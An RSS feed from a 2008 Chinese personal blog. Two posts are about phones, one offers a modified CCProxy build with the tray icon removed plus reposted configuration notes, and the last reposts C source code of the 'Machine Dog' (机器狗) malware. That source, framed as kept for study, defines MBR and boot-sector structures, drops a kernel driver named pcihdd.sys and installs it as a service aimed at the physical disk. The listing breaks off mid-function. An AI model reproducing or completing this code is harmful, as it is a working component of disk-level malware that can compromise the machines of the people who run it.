<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>RobaYの乱七八糟の日记 &#187; s1</title>
	<atom:link href="http://www.a-boss.com/tag/s1/feed" rel="self" type="application/rss+xml" />
	<link>http://www.a-boss.com</link>
	<description>东篱把酒黄昏后，有暗香盈袖！</description>
	<lastBuildDate>Tue, 03 Jan 2012 10:07:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>黑莓与钻石[手机]</title>
		<link>http://www.a-boss.com/2008/11/17/%e9%bb%91%e8%8e%93%e4%b8%8e%e9%92%bb%e7%9f%b3%e6%89%8b%e6%9c%ba.html</link>
		<comments>http://www.a-boss.com/2008/11/17/%e9%bb%91%e8%8e%93%e4%b8%8e%e9%92%bb%e7%9f%b3%e6%89%8b%e6%9c%ba.html#comments</comments>
		<pubDate>Mon, 17 Nov 2008 11:07:45 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[生活随笔]]></category>
		<category><![CDATA[s1]]></category>
		<category><![CDATA[完美]]></category>
		<category><![CDATA[手机]]></category>
		<category><![CDATA[黑莓]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/?p=771</guid>
		<description><![CDATA[给朋友的朋友买了一台钻石；3580 给老婆买了一台黑莓；700 曾经建议朋友，用多普达的机器要有一定的电脑基础才行，否则不好玩转的，即使很快能上手，也是有很多功能会浪费的。朋友似乎... ]]></description>
			<content:encoded><![CDATA[<p>给朋友的朋友买了一台钻石；3580</p>
<p><img src="file:///C:/DOCUME~1/ADMINI~1/LOCALS~1/Temp/moz-screenshot.jpg" alt="" /><img src="file:///C:/DOCUME~1/ADMINI~1/LOCALS~1/Temp/moz-screenshot-1.jpg" alt="" /><a href="http://i0.sinaimg.cn/IT/mobile/n/2008-11-14/ddb47be4c0d101bc653c84ecdf2e1e60.jpg"><img class="alignnone" title="htc" src="http://i0.sinaimg.cn/IT/mobile/n/2008-11-14/ddb47be4c0d101bc653c84ecdf2e1e60.jpg" alt="" width="430" height="322" /></a></p>
<p>给老婆买了一台黑莓；700</p>
<p><img src="file:///C:/DOCUME~1/ADMINI~1/LOCALS~1/Temp/moz-screenshot.jpg" alt="" /><img class="alignnone" title="7310" src="http://img2.zol.com.cn/product/24/215/ceQ70oxRkYykg.jpg" alt="" width="428" height="320" /></p>
<p><span id="more-771"></span></p>
<p>曾经建议朋友，用多普达的机器要有一定的电脑基础才行，否则不好玩转的，即使很快能上手，也是有很多功能会浪费的。朋友似乎没听，给他的朋友推荐的钻石，估计是个有钱的主。到手我先体验了一下，感觉远不像我所期待中的完美，速度比我的S1+稍微快些，功能上多个GPS功能和收音机功能，而且真的是典型的指纹机和发热机，让我有点大失所望！手机交到最终的主人那后，果然是如我所料：不会用，问题一大堆。哈哈，我是不管了，让朋友去教吧！</p>
<p>LP去年买的山寨机终于要完蛋了,那质量实在是次得没办法要了。老婆说换一个便宜点的就行，早就听说黑莓很不错，性价比很高，所以动心给LP选了这款，体验一下全新的东西，新鲜一下。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2008/11/17/%e9%bb%91%e8%8e%93%e4%b8%8e%e9%92%bb%e7%9f%b3%e6%89%8b%e6%9c%ba.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>手机故障排查</title>
		<link>http://www.a-boss.com/2008/10/31/%e6%89%8b%e6%9c%ba%e6%95%85%e9%9a%9c%e6%8e%92%e6%9f%a5.html</link>
		<comments>http://www.a-boss.com/2008/10/31/%e6%89%8b%e6%9c%ba%e6%95%85%e9%9a%9c%e6%8e%92%e6%9f%a5.html#comments</comments>
		<pubDate>Fri, 31 Oct 2008 14:12:18 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[生活随笔]]></category>
		<category><![CDATA[s1]]></category>
		<category><![CDATA[手机]]></category>
		<category><![CDATA[程序]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/?p=674</guid>
		<description><![CDATA[自打年初买来这款手机后，在把玩了两三个月的时间，定制了一套符合俺使用的S1+系统后，就再也没有碰过相关的程序，手机工作的一直很稳定，用得也越来越顺手顺心。但这几天突然发现，... ]]></description>
			<content:encoded><![CDATA[<p>自打年初买来这款手机后，在把玩了两三个月的时间，定制了一套符合俺使用的S1+系统后，就再也没有碰过相关的程序，手机工作的一直很稳定，用得也越来越顺手顺心。但这几天突然发现，手机开始出现异常现象，偶尔出现电话无声或打不进电话的情况，重新初始化系统也不管用。</p>
<p><a href="http://www.a-boss.com/wp-content/uploads/screen001.jpg"><img class="aligncenter size-medium wp-image-675" title="screen001" src="http://www.a-boss.com/wp-content/uploads/screen001.jpg" alt="" width="240" height="320" /></a></p>
<p><span id="more-674"></span></p>
<p>没办法，不得不重新开始拾起智能机的一些知识进行排查，初步判断是qcellcore的问题，因为每次出现故障后，总是这款程序出现异常的退出，要重起后才能使用。而这款程序我是采用的绿色版，而且是安装到的存储卡上，所以出问题的概率也大些。所以从今天开始禁用这个程序一段时间验证一下，不过对我的使用会造成不方便，因为一直找不到一个更好的替代品。</p>
<p>期待能早日解决问题。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2008/10/31/%e6%89%8b%e6%9c%ba%e6%95%85%e9%9a%9c%e6%8e%92%e6%9f%a5.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>CCProxy 6.61 绿色去图标版!</title>
		<link>http://www.a-boss.com/2008/07/17/ccproxy-661-%e7%bb%bf%e8%89%b2%e5%8e%bb%e5%9b%be%e6%a0%87%e7%89%88.html</link>
		<comments>http://www.a-boss.com/2008/07/17/ccproxy-661-%e7%bb%bf%e8%89%b2%e5%8e%bb%e5%9b%be%e6%a0%87%e7%89%88.html#comments</comments>
		<pubDate>Thu, 17 Jul 2008 10:59:33 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[技术相关]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[CCProxy]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[s1]]></category>
		<category><![CDATA[介绍]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[广告]]></category>
		<category><![CDATA[插件]]></category>
		<category><![CDATA[测试]]></category>
		<category><![CDATA[破解]]></category>
		<category><![CDATA[硬盘]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[空格]]></category>
		<category><![CDATA[空间]]></category>
		<category><![CDATA[绑定]]></category>
		<category><![CDATA[记录]]></category>
		<category><![CDATA[资源]]></category>
		<category><![CDATA[车]]></category>
		<category><![CDATA[软件]]></category>
		<category><![CDATA[隐藏]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=161</guid>
		<description><![CDATA[不知道什么原因，一直用着的6.0突然不能用了，想再安装一遍时才发现，硬盘里的安装程序不知道什么时候已经没有了。 没办法只好架网再下载一个了，才发现居然已经升级到6.61版了，而且还... ]]></description>
			<content:encoded><![CDATA[<p>不知道什么原因，一直用着的6.0突然不能用了，想再安装一遍时才发现，硬盘里的安装程序不知道什么时候已经没有了。</p>
<p>没办法只好架网再下载一个了，才发现居然已经升级到6.61版了，而且还是绿色版的，兴致勃勃的下载下来，设置好参数，却怎么找不到隐藏的选项了？</p>
<p>原来取消这个功能了！真是晕人！</p>
<p>我不是黑客，但也不喜欢右下键的图标有它在那放着，碍眼！自己干掉它！</p>
<p>原理其实挺简单的，只占用了我不到一个小时的中午时间就搞定了。整个世界清静了！</p>
<p><a href="http://www.a-boss.com/wp-content/uploads/2008/07/ccproxy.jpg"><img class="aligncenter size-full wp-image-162" src="http://www.a-boss.com/wp-content/uploads/2008/07/ccproxy.jpg" alt="" width="500" height="345" /></a></p>
<p>可惜我的blog空间不能下载文件，否则就传上来了。有需要的联系我吧！</p>
<p>终于换成功可以下载的空间了，提供本地下载：</p>
<p><a href="http://www.a-boss.com/soft/CCProxy6.61_RobaY.rar" target="_blank">http://www.a-boss.com/soft/CCProxy6.61_RobaY去图标绿色版.rar</a></p>
<p>需要说明一点的是：如果设置了自动隐藏功能，你将不能看到程序界面，需要更新ccproxy.ini中的autohide=0保存后即可！</p>
<p><span id="more-161"></span></p>
<p><span style="#ff0000;">再转一篇关于这个程序的一些功能介绍，个别功能在新版本下已经失效！</span></p>
<p>CCProxy高级功能介绍- -</p>
<blockquote><p>代理服务器CCProxy开发了大量针对网络管理员的高级功能，下面的介绍只是关于高级功能的说明和对应的参数设置。 所有参数在修改保存后，都需要重新启动CCProxy。</p>
<p>怎样修改帐号管理所支持的帐号数</p>
<p>默认值是300。对应CCProxy.ini里的MaxUserCount。</p>
<p>怎样修改时间安排的支持数目</p>
<p>默认值是20。对应CCProxy.ini里的MaxTimeSchedule。</p>
<p>怎样修改网站过滤的支持数目</p>
<p>默认值是20。对应CCProxy.ini里的MaxWebFilter。</p>
<p>怎样修改CCProxy的同时在线支持数目</p>
<p>默认值是300。对应CCProxy.ini里的MaxConnection。</p>
<p>怎样拦截进出代理服务器的所有数据</p>
<p>本功能原来是方便用户反馈程序错误用的。在主界面上，按住Ctrl键，双击”0/0&#8243;。所有拦截的数据都保存到C:\log.dat。最多保存256K数据。此功能影响代理服务器速度，需即时关闭。对应CCProxy.ini里的BugTrace。</p>
<p>怎样在线检查CCProxy最新版本</p>
<p>此功能不会将您的电脑的任何信息发送给遥志软件，请放心使用。<br />
双击主界面上的U字母。</p>
<p>怎样修改界面的连接数曲线(绿色)的显示高度和流量带宽曲线(黄色)显示高度?</p>
<p>在界面上单击鼠标右键,在弹出的窗口中修改度默认是300和256，如图。</p>
<p>怎样调出Windows任务管理器?</p>
<p>双击主界面上的0/0。</p>
<p>怎样知道所运行的CCProxy的发布时间</p>
<p>双击主界面上的时间数字。</p>
<p>怎样快速进到CCProxy安装目录</p>
<p>按着Ctrl键，双击主界面上的时间数字。</p>
<p>怎样知道今天的农历日期</p>
<p>按着Shift键，双击主界面上的时间数字。</p>
<p>怎样实现启动CCProxy时自动拨号和关闭CCProxy时自动断线</p>
<p>对应CCProxy.ini里的DialWhenStartup和DisconnectWhenShutdown。将值设成1时，表示打开这个功能。在使用此功能前，要设置好代理服务器的拨号选项。</p>
<p>怎样让服务器拨号闲置时自动断网并关机</p>
<p>此功能由黑龙江天衣有缝提出。首先要设置好拨号闲置自动断开功能，然后将CCProxy.ini里的<br />
ShutDownWhenIdle=1。</p>
<p>怎样实现定时关机</p>
<p>CCProxy.ini<br />
[ShutDown]<br />
Enable=1<br />
Time=20:00<br />
表示20:00关机</p>
<p>CCProxy.ini<br />
[ShutDown]<br />
Enable=1<br />
Time=05:05<br />
表示05:05关机</p>
<p>此功能最好在CCProxy NT服务方式下运行，这样CCProxy可以获得更高的权限来关闭电脑</p>
<p>怎样修改网站过滤服务器返回的字符串</p>
<p>CCProxy.ini里的<br />
WebSiteForbidden对应站点过滤服务器返回的字符串。注意，要保留%s。WebContentForbidden对应内容过滤服务器返回的字符串。<br />
如果WebSiteForbidden里填写的是一个文件绝对路径名，那么服务器会读取该文件来作为过滤网站返回信息。如：WebSiteForbidden=c:\alert.htm。<br />
如果WebContentForbidden里填写的是一个文件绝对路径名，那么服务器会读取该文件来作为内容过滤返回信息。如：WebSiteForbidden=c:\alert.htm。</p>
<p>怎样修改网页身份认证里的字符串</p>
<p>CCProxy.ini里的<br />
WebAuthTitle对应认证对话框里的字符串“CCProxy Authorization”。AuthorityFailed对应认证失败后服务器返回的字符串。</p>
<p>怎样实现验证失败时显示指定的htm文件?</p>
<p>CCProxy.ini里的<br />
AuthorityFailed里输入htm文件的绝对地址。例如:AuthorityFailed=f:\1.htm,表示显示F盘根目录下的1.htm文件。</p>
<p>怎样实现帐号排序?</p>
<p>“帐号管理”→ 点击”用户名”、”IP地址”、”MAC地址”、”连接数”任一字段名即可按所选字段名排序，连续点击则分别按”降序”、”升序”分别排列。如图。确定后，将按照排序结果保存帐号。</p>
<p>怎样实现远程拨号?</p>
<p>1) 在服务器上手工建立一个拨号连接，并且测试一下这个拨号连接是否有效。<br />
2) “设置”-&gt; 选择”远程拨号”。<br />
3) “设置”-&gt;”高级”-&gt;”拨号”：在”拨号列表”中选择 1)中建立的拨号连接。在”拨号用户名”、”拨号密码”里填上正确的上网帐号信息。<br />
4) 在帐号管理中编辑或新增用户，并选择允许该用户”远程拨号”。<br />
5) 客户端的浏览器首先要设置好HTTP代理服务。然后在浏览器中输入 http://ccproxy.connect 就可以拨号了，如果客户端使用 http://ccproxy.connect.电话号码.用户名.密码，则用指定的电话号码和用户帐号信息拨号。<br />
6) 断开拨号网络连接则在浏览器中输入 http://ccproxy.disconnect</p>
<p>怎样实现通过客户端使服务器自动拨号?</p>
<p>1)”设置”-&gt; 选择”远程拨号”。<br />
2)”设置”-&gt;”高级”-&gt;”拨号”-&gt; 选择”允许自动拨号”，然后在相应代理协议前打勾。<br />
3)”帐号”-&gt; 编辑或新建帐号 -&gt; 选择”远程拨号”。<br />
这样，只要被允许的客户端使用被允许的协议（HTTP/FTP/TELNET等）就可以实现服务器自动拨号功能。</p>
<p>怎样实现隐藏任务栏图标 ?<br />
编辑ccproxy.ini，在 [System] 下增加一行Allhide=1。去掉这一行则显示图标。<br />
或：”设置”-&gt;”高级”-&gt;”其他”：选择”隐藏所有”。<br />
若要重新显示主界面，只需再运行一次CCProxy即可（CCProxy自动判断，不会在同一个目录下启动多个进程）。</p>
<p>怎样使用热键激活界面?</p>
<p>编辑CCProxy目录下的CCProxy.ini，把EnableHotKey=0改为1，然后保存文件并重启CCProxy软件。以后当软件隐藏后，只要按下”CTRL+ALT+C”，界面会重新显示。详细设置&gt;&gt;</p>
<p>怎样实现管理员密码控制?</p>
<p>“设置”-&gt;”高级”-&gt;”其他”：选择”密码保护”，然后在相应的密码框中输入密码。这样每次修改设置、增加或编辑帐号、退出程序都必须输入正确密码方可。<br />
若需要每次启动时必须输入密码则再选择”启动时需要密码”。建议一般情况下不选择。</p>
<p>怎样让客户端显示广告条?</p>
<p>这是一个相当有趣的功能，最初由上海复旦大学Hyne提出。<br />
默认状态是关闭。对应CCProxy.ini里的AddMessage。AddMessage=1，表示开放广告条功能。同时在CCProxy运行目录下写一个addmessage.htm文件(小于4096字节)，当然这个文件的编写很要技巧。<br />
提供两个非常经典的例子：ads1.zip(Hyne提供) ads2.zip(testa提供) 欢迎提供更多好的例子。<br />
另外,可以在界面中按住shift双击0/0,在弹出的对话框中选择,如图。</p>
<p>怎样往客户端发送信息?</p>
<p>客户端如果是Win98，要求已经运行了windows目录下的WINPOPUP.EXE。如果是Win2000/NT，则系统已经自带了消息接收功能。选中需要发信息的帐号点击右键，在第一个编辑框里输入接收者的机器名，第二个编辑框里输入要发送的文字，点击确定就可以发送信息到客户端了。如果上面的对话框里输入的是”*”号，可以发送到局域网里的任何一台机器。</p>
<p>怎样实时观测客户端访问内容(网站)以及客户端连接数和流量?</p>
<p>双击主界面绿色网格即可，并且双击左上角的”当前连接信息”左边那个图标，可以切换观察状态。</p>
<p>怎样实现流量统计和计费?</p>
<p>1) 在CCProxy的”设置”—”高级”—”日志”—”运行流量统计”前面打勾，并设定”流量统计间隔时间”(默认为10分钟)，这样系统会在log文件夹中生成一个文件(如data20030613.txt)，并每隔10分钟系统在该文件中写入一次流量统计数据;<br />
2) 点击”流量统计”，即可打开流量统计文件，观察到流量记录(前面的为流进数据,后面的为流出数据);<br />
3) 下载CCReport插件，可以根据统计出的流量，计算出每用户的使用费用。</p>
<p>怎样实现端口映射?</p>
<p>在”设置”页面点击”端口映射”后面的E按钮,进行相应的设置即可：</p>
<p>怎样设置二级代理?</p>
<p>“设置”-&gt;”高级”-&gt;”二级代理”：选择”启用二级代理”，在代理地址中输入上级代理服务器IP或计算机名称，选择代理协议HTTP/HTTPS/SOCKS，再输入对应的端口。若需要验证密码，则选择”需要验证”，在”用户名”、”密码”框中分别输入指定信息。需要注意的是：<br />
1) 若上级提供了SOCKS5服务，则可以为下级提供包括HTTP/FTP/GOPHER/SOCKS/RTSP/MMS/TELNET等协议在内的几乎任何服务，本程序可以全部自动转换；若上级提供了HTTPS服务，则绝大部分服务也可为下级提供，除了QQ/PP等UDP协议；若上级只提供了HTTP服务，则下级只能使用HTTP/FTP/GOPHER/SOCKS/TELNET等一般协议，RTSP/MMS等协议无法转换。 2) 6.0版支持不同的协议可以设置不同的二级代理或者不使用二级代理，即每一个协议都可以使用不同的上级代理和不同的协议或者部分协议使用上级代理，而部分协议可以不使用上级代理，也可以全部使用同一个上级代理和协议。</p>
<p>怎样同时运行多个ccproxy进程?</p>
<p>编辑ccproxy.ini，修改EnableMultiRun=1即可，但须安装在不同目录，使用不同端口。</p>
<p>怎样访问带域验证的网页?</p>
<p>可以只设置socks代理(如图)来实现访问，CCProxy要开放DNS服务和SOCKS4服务，客户端的DNS里要设置服务器的IP地址。</p>
<p>怎样结合杀毒软件检查所有通过代理发送和接收的邮件病毒?</p>
<p>编辑ccproxy.ini，修改AntiVirusGate=1表示启用邮件杀毒。目前我们测试过的软件有瑞星2003版和Norton 2003版，只要服务器上安装了这样的杀毒软件，就可以实现代理服务器邮件杀毒功能。</p>
<p>如何控制流媒体视频带宽?</p>
<p>编辑ccproxy.ini，修改[MMS]项：EnableRecord=1</p>
<p>如何屏蔽端口和屏蔽IP?</p>
<p>编辑ccproxy.ini，修改[DestDisable]项：<br />
PortDisabled=1表示启用端口屏蔽，Port=25;110;80表示屏蔽这些端口;<br />
IPDisabled=1表示启用IP屏蔽，IP=0.0.0.0-202.0.0.0表示屏蔽这个范围内的IP</p>
<p>用户通过web方式发送邮件时如何禁止发送附件?</p>
<p>在”内容过滤”里加入”;; filename=”。(注意: 在分号后面有一空格，如果有其余过滤的内容如chat等必须放在第一位，如图)</p>
<p>怎样在客户端Ping互联网地址?</p>
<p>1）首先确认CCProxy的Telnet代理已经打开。<br />
2）假设代理服务器地址是192.168.0.1，在客户端上输入命令行 telnet 192.168.0.1，然后回车。<br />
3）在提示符CCProxy Telnet&gt;后，输入你要ping的地址，如ping sina.com.cn ，然后回车。</p>
<p>在远程终端服务(Terminal Services)下运行CCProxy需要注意的事项?</p>
<p>如果在远程终端服务(Terminal Services)下运行CCProxy，而且以NT服务方式运行，需要设置CCProxy.ini里的一个参数：TerminalServices=1。显示CCProxy界面只需要再次运行CCProxy就可以了。</p>
<p>怎样在代理服务器CCProxy里巧妙的利用Auto Proxy功能?</p>
<p>在代理服务器CCProxy里巧妙的利用Auto Proxy功能,请看详细设置</p>
<p>C源代码：客户端怎样通过proxy进行连接，支持https, socks5代理?</p>
<p>客户端通过proxy进行连接，支持https, socks5代理的C源代码请看</p>
<p>如何突破屏蔽代理访问的网站?</p>
<p>有些网站屏蔽代理访问,可以通过编辑CCProxy目录下的CCProxy.ini来突破屏蔽,把EnableProxyConnection=0改为1，然后保存文件并重启CCProxy软件。详细设置&gt;&gt;</p>
<p>如何绑定服务器IP地址?</p>
<p>编辑CCProxy目录下CCProxy.ini文件,把ServerBindIP=0.0.0.0改为服务器接入线路的IP地址,然后保存文件并重启CCP roxy软件。当服务器有多条线路接入时,管理员可以通过此功能合理分配带宽资源。详细设置&gt;&gt;</p>
<p>如何让目标网站无法得知你是从哪个网站进入该网站?</p>
<p>编辑CCProxy目录下CCProxy.ini文件,把EnableReferer=0改为1,然后保存文件并重启CCProxy软件。此功能便于保密,让目标网站无法得知你是从哪个网站进入该网站的。详细设置&gt;&gt;</p>
<p>如何关闭gzip,加强广告条功能的应用范围？</p>
<p>编辑CCProxy目录下CCProxy.ini文件,把EnableGzip的值改为0,然后保存文件并重启CCProxy软件,此功能可以大大加强广告条功能的应用范围。详细设置&gt;&gt;</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2008/07/17/ccproxy-661-%e7%bb%bf%e8%89%b2%e5%8e%bb%e5%9b%be%e6%a0%87%e7%89%88.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>机器狗源码（C的）</title>
		<link>http://www.a-boss.com/2008/03/20/%e6%9c%ba%e5%99%a8%e7%8b%97%e6%ba%90%e7%a0%81%ef%bc%88c%e7%9a%84%ef%bc%89.html</link>
		<comments>http://www.a-boss.com/2008/03/20/%e6%9c%ba%e5%99%a8%e7%8b%97%e6%ba%90%e7%a0%81%ef%bc%88c%e7%9a%84%ef%bc%89.html#comments</comments>
		<pubDate>Thu, 20 Mar 2008 22:55:44 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[技术相关]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[s1]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[学习]]></category>
		<category><![CDATA[硬盘]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[资源]]></category>
		<category><![CDATA[隐藏]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=86</guid>
		<description><![CDATA[前面的日志里曾经提到过机器狗的病毒，今天上网的时候无意中看了它的源码，转过来留存下，有机会认真学习一下，了解下其原理，防范于未然！ // Test.cpp : 定义控制台应用程序的入口点。 /... ]]></description>
			<content:encoded><![CDATA[<p>前面的日志里曾经提到过机器狗的病毒，今天上网的时候无意中看了它的源码，转过来留存下，有机会认真学习一下，了解下其原理，防范于未然！</p>
<blockquote><p>// Test.cpp : 定义控制台应用程序的入口点。<br />
//<br />
#include “stdafx.h”</p>
<p>//===========================================================<br />
#include &lt;pshpack1.h&gt;<br />
typedef struct _PARTITION_ENTRY<br />
{<br />
UCHAR active;                 // 能否启动标志<br />
UCHAR StartHead;               // 该分区起始磁头号<br />
UCHAR StartSector;             // 起始柱面号高2位：6位起始扇区号<br />
UCHAR StartCylinder;           // 起始柱面号低8位<br />
UCHAR PartitionType;           // 分区类型<br />
UCHAR EndHead;                 // 该分区终止磁头号<br />
UCHAR EndSector;               // 终止柱面号高2位：6位终止扇区号<br />
UCHAR EndCylinder;             // 终止柱面号低8位<br />
ULONG StartLBA;               // 起始扇区号<br />
ULONG TotalSector;             // 分区尺寸（总扇区数）<br />
} PARTITION_ENTRY, *PPARTITION_ENTRY;</p>
<p>//============================================================<br />
typedef struct _MBR_SECTOR<br />
{<br />
UCHAR             BootCode[446];<br />
PARTITION_ENTRY   Partition[4];<br />
USHORT           Signature;<br />
} MBR_SECTOR, *PMBR_SECTOR;</p>
<p>//==========================================================<br />
typedef struct _BBR_SECTOR<br />
{<br />
USHORT JmpCode;               // 2字节跳转指令,跳转到引导代码<br />
UCHAR   NopCode;               // 1字节nop指令,填充用,保证跳转指令长3个字节<br />
UCHAR   OEMName[8];             // 8字节的OEMName</p>
<p>// 下面开始为: BPB( BIOS Parameter Block )</p>
<p>USHORT BytesPerSector;         // 每个扇区的字节数 (512 1024 2048 4096)<br />
UCHAR   SectorsPerCluster;     // 每个簇的扇区数 ( 1 2 4 8 16 32 64 128 )两者相乘不能超过32K(簇最大大小)<br />
USHORT ReservedSectors;       // 从卷的第一个扇区开始的保留扇区数目,该值不能为0，对于FAT12/FAT16，该值通常为1,对于FAT32，典型值为32<br />
UCHAR   NumberOfFATs;           // 卷上FAT数据结构的数目，该值通常应为2,[NTFS不使用NumberOfFATs字段，必须为0]<br />
USHORT RootEntries;           // 对于FAT12/FAT16,该值表示32字节目录项的数目,对于FAT32，该值必须为0；[NTFS不使用]<br />
USHORT NumberOfSectors16;     // 该卷上的扇区总数，该字段可以为0，如果该字段为0，则NumberOfSectors32不能为0；对于FAT32，该字段必须为0 [FAT32/NTFS不使用该字段]<br />
UCHAR   MediaDescriptor;       // 介质类型<br />
USHORT SectorsPerFAT16;       // 该字段标识一个FAT结构占有的扇区数（FAT12/FAT16）,对于FAT32卷，该字段必须为0；[FAT32/NTFS不使用该字段]<br />
USHORT SectorsPerTrack;       // 用于INT 0&#215;13中断的每个磁道的扇区数<br />
USHORT HeadsPerCylinder;       // 用于INT 0&#215;13中断的每个柱面的磁头数<br />
ULONG   HiddenSectors;         // 包含该FAT卷的分区之前的隐藏扇区数<br />
ULONG   NumberOfSectors32;     // 该字段包含该卷上的所有扇区数目，对于FAT32，该字段不为0；FAT12/FAT16可根据实际大小是否超过65536个扇区数决定是否采用该字段； [NTFS不使用该字段]</p>
<p>// 下面开始为: EBPB ( Extended BIOS Parameter Block )</p>
<p>ULONG   SectorsPerFAT32;       // 对于FAT32，该字段包含一个FAT的大小，而SectorsPerFAT16字段必须为0;<br />
} BBR_SECTOR, *PBBR_SECTOR;</p>
<p>#include &lt;poppack.h&gt;</p>
<p>#define PARTITION_TYPE_NTFS         0&#215;07<br />
#define PARTITION_TYPE_FAT32         0x0B<br />
#define PARTITION_TYPE_FAT32_LBA     0x0C</p>
<p>//==========================================================<br />
#define STR_SYSFILE_PATH             TEXT(“%SystemRoot%\\system32\\drivers\\pcihdd.sys”)<br />
#define STR_VIRFILE_PATH             TEXT(“%SystemRoot%\\System32\\Userinit.exe”)<br />
#define STR_DSKDEVICE_NAME           TEXT(“\\\\.\\PhysicalDrive0&#8243;)<br />
#define STR_HDDDEVICE_NAME           TEXT(“\\\\.\\PhysicalHardDisk0&#8243;)</p>
<p>//=========================================================<br />
#define IOCTL_MYDEV_BASE                 0xF000<br />
#define IOCTL_MYDEV_Fun_0xF01           CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)</p>
<p>//============================================================<br />
DWORD InstallAndStartDriver(HMODULE ModuleHandle)<br />
{<br />
TCHAR           filePath[MAX_PATH];<br />
HANDLE           fileHandle;<br />
HRSRC           hSysRes;<br />
DWORD           dwWritten;<br />
DWORD           dwSysLen;<br />
PVOID           lpSysBuf;<br />
SC_HANDLE       hSCManager;<br />
SC_HANDLE       hService;<br />
SERVICE_STATUS   sService;<br />
DWORD           errCode = ERROR_SUCCESS;<br />
if(<br />
(NULL == (hSysRes = FindResource(ModuleHandle, (LPCTSTR)1001, (LPCTSTR)1001)))<br />
||<br />
(0     == (dwSysLen = SizeofResource(ModuleHandle, hSysRes)))<br />
||<br />
(NULL == (lpSysBuf = LockResource(hSysRes)))<br />
||<br />
(0     == ExpandEnvironmentStrings(STR_SYSFILE_PATH, &amp;filePath[0], sizeof(filePath)))<br />
||<br />
(INVALID_HANDLE_VALUE == (fileHandle = CreateFile(filePath, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)))<br />
)<br />
{<br />
errCode = GetLastError();<br />
goto FunExit00;<br />
}<br />
if(<br />
!WriteFile(fileHandle, lpSysBuf, dwSysLen, &amp;dwWritten, NULL)<br />
||<br />
!SetEndOfFile(fileHandle)<br />
||<br />
!FlushFileBuffers(fileHandle)<br />
)<br />
{<br />
errCode = GetLastError();<br />
}<br />
CloseHandle(fileHandle);<br />
if(ERROR_SUCCESS != errCode)<br />
{<br />
goto FunExit01;<br />
}<br />
if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit01;<br />
}<br />
hService = CreateService(<br />
hSCManager,<br />
TEXT(“PciHdd”),<br />
TEXT(“PciHdd”),<br />
SERVICE_ALL_ACCESS,<br />
SERVICE_KERNEL_DRIVER,<br />
SERVICE_DEMAND_START,<br />
SERVICE_ERROR_IGNORE,<br />
filePath,<br />
NULL,<br />
NULL,<br />
NULL,<br />
NULL,<br />
NULL<br />
);<br />
if(NULL != hService)<br />
{<br />
CloseServiceHandle(hService);<br />
}<br />
else<br />
{<br />
if(NULL != (hService = OpenService(hSCManager, TEXT(“PciHdd”), SERVICE_ALL_ACCESS)))<br />
{<br />
ControlService(hService, SERVICE_CONTROL_STOP, &amp;sService);<br />
DeleteService(hService);<br />
CloseServiceHandle(hService);<br />
}<br />
hService = CreateService(<br />
hSCManager,<br />
TEXT(“PciHdd”),<br />
TEXT(“PciHdd”),<br />
SERVICE_ALL_ACCESS,<br />
SERVICE_KERNEL_DRIVER,<br />
SERVICE_DEMAND_START,<br />
SERVICE_ERROR_IGNORE,<br />
filePath,<br />
NULL,<br />
NULL,<br />
NULL,<br />
NULL,<br />
NULL<br />
);<br />
if(NULL != hService)<br />
{<br />
CloseServiceHandle(hService);<br />
}<br />
else<br />
{<br />
errCode = GetLastError();<br />
goto FunExit02;<br />
}<br />
}<br />
if(NULL == (hService = OpenService(hSCManager, TEXT(“PciHdd”), SERVICE_START)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit02;<br />
}<br />
StartService(hService, 0, NULL);<br />
CloseServiceHandle(hService);<br />
FunExit02:<br />
CloseServiceHandle(hSCManager);<br />
FunExit01:<br />
DeleteFile(filePath);<br />
FunExit00:<br />
return err<br />
Code;<br />
}</p>
<p>//========================================================<br />
DWORD StopAndDeleteDriver(VOID)<br />
{<br />
TCHAR           filePath[MAX_PATH];<br />
SC_HANDLE       hSCManager;<br />
SC_HANDLE       hService;<br />
SERVICE_STATUS   sService;<br />
DWORD           errCode = ERROR_SUCCESS;<br />
if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit00;<br />
}<br />
